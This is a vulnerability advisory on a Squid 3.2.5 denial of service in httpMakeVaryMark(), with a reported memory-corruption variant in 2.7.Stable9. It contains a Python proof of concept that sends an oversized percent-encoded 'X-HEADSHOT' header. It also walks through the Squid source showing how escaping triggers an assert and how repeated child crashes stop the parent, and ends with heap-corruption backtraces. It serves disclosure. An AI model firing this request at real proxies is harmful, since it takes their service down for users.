Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:29143
HistoryMar 10, 2013 - 12:00 a.m.

Squid 3.2.5 httpMakeVaryMark() header value DoS, 2.7.Stable9 memory corruption.

2013-03-1000:00:00
vulners.com
143

##############################################################

httpMakeVaryMark() header value 'value' (http.cc:603 line)

##############################################################

Authors:

22733db72ab3ed94b5f8a1ffcde850251fe6f466

c8e74ebd8392fda4788179f9a02bb49337638e7b

AKAT-1

#######################################

Versions: 3.2.5

It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent:
Request
– cut –
#!/usr/bin/env python
print 'GET /index.html HTTP/1.1'
print 'Host: localhost'
print 'X-HEADSHOT: ' + '%XX' * 19000
print '\r\n\r\n'
– cut –

Response
– cut –
HTTP/1.1 200 OK
Vary: X-HEADSHOT
– cut –

Code:

In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is
passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example
percent signs. This mean that the single charachter in request is now triple in length
(e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).

This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert
is invoked, which kills the child. When child is killed the Kid::stop() is called, which
increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4,
then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main
process of squid (parent) with the following message:
"Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"

src/http.cc:
573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply)
574 {
575 String vary, hdr;
576 const char *pos = NULL;
577 const char *item;
578 const char *value;
579 int ilen;
580 static String vstr;
581
582 vstr.clean();
583 vary = reply->header.getList(HDR_VARY);
584
585 while (strListGetItem(&vary, ',', &item, &ilen, &pos)) {
586 char name = (char )xmalloc(ilen + 1);
587 xstrncpy(name, item, ilen + 1);
588 Tolower(name);
589
590 if (strcmp(name, "
") == 0) {
591 /
Can not handle "Vary: *" withtout ETag support */
592 safe_free(name);
593 vstr.clean();
594 break;
595 }
596
597 strListAdd(&vstr, name, ',');
598 hdr = request->header.getByName(name);
599 safe_free(name);
600 value = hdr.termedBuf();
601
602 if (value) {
603 value = rfc1738_escape_part(value);
604 vstr.append("=\"", 2);
605 vstr.append(value);
606 vstr.append("\"", 1);
607 }

lib/rfc1738.c:
143 /* Do the triplet encoding, or just copy the char */
144 if (do_escape == 1) {
145 (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) *src);
146 dst += sizeof(char) * 2;
147 } else {
148 *dst = *src;
149 }

src/String.cc:
186 String::append( char const *str, int len)
187 {
188 assert(this);
189 assert(str && len >= 0);
190
191 PROF_start(StringAppend);
192 if (len_ + len < size_) {
193 strncat(buf_, str, len);
194 len_ += len;
195 } else {
196 // Create a temporary string and absorb it later.
197 String snew;
198 assert(len_ + len < 65536); // otherwise snew.len_ overflows below
199 snew.len_ = len_ + len;
200 snew.allocBuffer(snew.len_ + 1);
201
202 if (len_)
203 memcpy(snew.buf_, rawBuf(), len_);
204
205 if (len)
206 memcpy(snew.buf_ + len_, str, len);
207
208 snew.buf_[snew.len_] = '\0';
209
210 absorb(snew);
211 }
212 PROF_stop(StringAppend);
213 }

src/ipc/Kid.cc:
46 /// called when kid terminates, sets exiting status
47 void Kid::stop(status_type exitStatus)
48 {
49 assert(running());
50 assert(startTime != 0);
51
52 isRunning = false;
53
54 time_t stop_time;
55 time(&stop_time);
56 if ((stop_time - startTime) < fastFailureTimeLimit)
57 ++badFailures;
58 else
59 badFailures = 0; // the failures are not "frequent" [any more]
60
61 status = exitStatus;
62 }
70 /// returns true if master process should restart this kid
71 bool Kid::shouldRestart() const
72 {
73 return !(running() ||
74 exitedHappy() ||
75 hopeless() ||
76 shutting_down ||
77 signaled(SIGKILL) || // squid -k kill
78 signaled(SIGINT) || // unexpected forced shutdown
79 signaled(SIGTERM)); // unexpected forced shutdown
80 }

src/ipc/Kid.h:
23 /// keep restarting until the number of bad failures exceed this limit
24 enum { badFailureLimit = 4 };
25
26 /// slower start failures are not "frequent enough" to be counted as "bad"
27 enum { fastFailureTimeLimit = 10 }; // seconds

BONUS POINT

Well, we think that in squid 2.7.Stable9 this is not cought in assert… cough

#3 0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=<optimized out>) at malloc.c:6283
#16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397
and
#3 0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)", ptr=<optimized out>) at malloc.c:6283
#9 0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397
and
#3 0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks", ptr=<optimized out>) at malloc.c:6283
#9 0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397
and
#3 0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)", ptr=<optimized out>) at malloc.c:6283
#9 0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398
EOF